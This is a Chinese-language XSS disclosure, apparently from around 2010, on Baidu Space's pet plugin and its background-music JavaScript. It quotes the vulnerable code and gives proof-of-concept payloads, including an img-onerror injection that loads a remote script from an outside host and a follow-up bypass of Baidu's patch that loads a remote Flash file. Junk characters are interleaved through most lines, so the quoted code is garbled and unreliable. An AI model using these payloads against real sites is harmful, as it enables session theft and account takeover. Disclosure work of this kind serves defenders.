百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
' @+ S6 R( u3 u; Q
$ H/ ^/ G6 d5 w! N: z4 f1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
& l, h/ q' ?1 b5 I/ y2.在http://hi.baidu.com/ui/scripts/pet/pet.js中 % m0 p- G7 f0 p' K7 |2 z& ~
; d1 ^3 M% F8 B& r) f将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> 0 C! w5 @2 E" e$ A' A9 i* h) D" k3 j
其中BdUtil.insertWBR为 , Z. L8 J% ?+ M: P
function(text, step) {
' \% m8 W+ D( y6 Y! \8 v var textarea = textAreaCache || getContainer(); : W8 O" j* b% ]" N3 v
if (!textarea) {
0 e1 g( `0 D/ l \+ q return text;
: n- A& z) q' Z$ X, T }
! l4 [- n( A3 N4 h$ } textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); 4 w o( P" F) b, f
var string = textarea.value;
7 X9 u; j: e0 ]' m9 B" e7 U var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); $ X! [+ Q! G' L/ ?% n E# `
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); S, P. o& g1 [- r: |
return result; * D: r8 N" {5 q( |. v! y
}
+ e! _1 S: G& G" o, r; l: ]在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. ; P4 _+ G) \/ b& j, j2 v. D
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> ( F% v0 C% b( _, _; I, Y8 H! D
& c4 V# O! g& M- y. l v5 I' \
二:creatbgmusic() Dom-Xss Bug ; I: m5 I0 J. [ @8 M1 P2 L
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 / G( q- ~9 F+ ]3 ]1 A; d
4 l8 K- C0 i' I& V, e( O
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
/ E% I; J) t9 P/ L
8 g, r* S6 g# R% k5 v( Kfunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { + ^/ t4 V4 d/ Y3 }/ h6 b
//传入的murl赋值到bgmusic1和bgmusic2中
# `/ G2 O/ d$ t8 k) ^; s0 L# c //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
* h' [0 c+ H6 n+ }: ` var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">"; ! D- m5 N6 _3 O8 H# z1 V+ P
if (musicnum <= 1) {
; k$ z8 m) i" K1 Z9 X. j bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">"; 7 d( Y! T/ i/ G/ j& {6 @+ V
}
; _$ F* e s- t1 ~) T3 O bgmusic1 += "</OBJECT>";
$ Q& v( U5 w# T/ A var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; ; [" x9 Y8 |! u9 q/ D
if (musicnum <= 1) { ( W' Z! U. p( o1 X4 J' b
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
6 @0 v9 C% u' n8 Y4 x- \ }
+ Y5 [$ t6 i! X9 a- O; | bgmusic2 += "> </EMBED>";
2 K4 N! B* H2 a, Q+ y var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; 1 x, x$ e, P( ?8 E
var bgmus = detectWMP(); 4 B! y! M, A0 }. \ S9 ^
if (functype == "FckMusicHelper") { {% g" `2 a7 ]7 h A
if (bgmus.installed) { ! T' C" `( j- L2 x3 E" K+ o) `
if (bgmus.type == "IE") { 3 V- p' L0 w3 V8 Y$ i
return bgmusic1; ! i9 t0 U- Y% P a" R# V
} else if (bgmus.type == "NS") { & R% O2 w& j$ v5 r2 V+ _) A: y# \- j7 r
return bgmusic2;
% ?! _& Q) u' l# N& T }
7 y& B/ T6 x8 Q+ ?" S } else {
7 r( F8 @1 D0 ] return bgmusic3;
2 o9 o' @ l( R; H+ m( N6 e }
. c$ s% m& u% \1 x7 a: x( m3 r6 `9 d7 k } else { 4 O, h4 Z7 r, q5 g
if (bgmus.installed) { . v A1 `* t/ `* L# Y6 e6 B2 N; T& h7 S
//document.write 直接输出bgmusic变量 导致xss
0 g+ t/ ~( E" h if (bgmus.type == "IE") { ) K }* q4 i$ ?
document.write(bgmusic1);
; v( \8 F' K: U Z } else if (bgmus.type == "NS") { ( O% u, u) V" }* n1 D: J0 n
document.write(bgmusic2); _$ z. e: e9 ^7 y# @
}
" ^2 f4 e+ a; {4 A3 |2 ^! B! c } else {
: o) ~8 h) _3 X1 |( U1 m4 j document.write(bgmusic3);
8 P+ D0 }. B" G; l4 y7 ]& z } 2 ~8 L5 }, L) m& b% X. v
return ""; # F7 y W# R# P: \5 w, k9 g
}
) b; L8 E2 W* E}
0 Q+ f3 \ n/ W! A8 @
- D- T& H: c) w2 }) O在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
1 P& q6 r+ i7 C5 w. o0 ]- k
6 E* A7 Y' E& ?- @0 }" V9 Jfunction initBlogTextForFCK(){
& D6 C# a: X& c/ L6 b7 N+ R//fck init music
* n' N a1 ^3 pif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} 8 X) b8 Q' x( y2 |
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 ( N7 U* _* n7 F8 p- E) t
var isAutoPlay=true;
6 j! z* ^' w! r& @2 A+ hfor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
! }: R0 e' L: E var img=imgBox; ' ?/ ?! ^: x+ S# H1 F9 C, H) ]
if(img.getAttribute(’rel’)){
% ~. ?) C) D2 [: U4 @ var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
7 q+ {/ z- o/ Q( Z' ? var musicDiv = document.createElement("SPAN");
; ]$ I5 U4 f* ~5 V3 r var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
3 t/ N+ G& R4 X3 J5 J # [4 ~) P4 x7 l/ Q
.......................... 9 E2 Z6 T# L( D, q- y1 w
& p# z: c) z# Y; ]; K' V //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. 4 i l1 d7 \$ }/ M
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
0 @- G' F' @0 E. M/ f8 f4 l% e shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); / S3 z9 |" d$ S9 S1 @
musicDiv.innerHTML=shtml; - L' r) [' H* ?0 Z6 v3 K
i--;n--; 2 d0 k4 E, F t
}
1 G) e' ^* m( p* o e. }} 7 N: M/ U( o4 s3 g+ E
+ r* w* F& x8 Y% O, l3 s/ `: r* x% b. W从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
6 j; K5 x7 S: L2 H: y - F3 X# L: y- }+ R8 c4 T+ b' J
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
; \6 l+ c) h' C& g; ?" _& t. x7 W
等待官方补丁
! @- K/ P7 y8 b" K1 n$ |' `2 v& o, ]
update 2010年5月13日
4 a4 |* [5 H1 M- N' K5 o/ @5 i0 v: e1 r7 `6 n0 C
官方补丁:
( K% C* R# ^& Z9 y/ K! o+ d4 _. B% |' t6 q, {
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); & |3 \7 d, [ [' Z
改为: + A9 |4 A! `4 k4 v, _7 C( I3 Z1 @$ r" F
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
. J) c% C5 \. d' ]# \0 l8 `9 y |1 M) U; d+ d
update 2010年5月13日 21:50:37
6 w1 ?. R" f" j3 G* G4 w' F( Y3 W: M' b6 j! J! y* R; F
补丁存在漏洞 没有过滤" 可以继续跨:
; n' U1 v3 b& T2 z% H S) c( A
( G: k( L8 p9 e# N; A# {3 bNEW POC:
4 r/ v5 W: F! e7 o* }
, A2 @; h; R: I( T8 t6 K<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" 8 S( z* K+ z$ K2 Y5 ]8 e
6 U. [% l. q6 W+ I
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>% \; N( s' |' \+ p; n4 D
* [& t$ _! @) o7 _* s$ l4 i t
|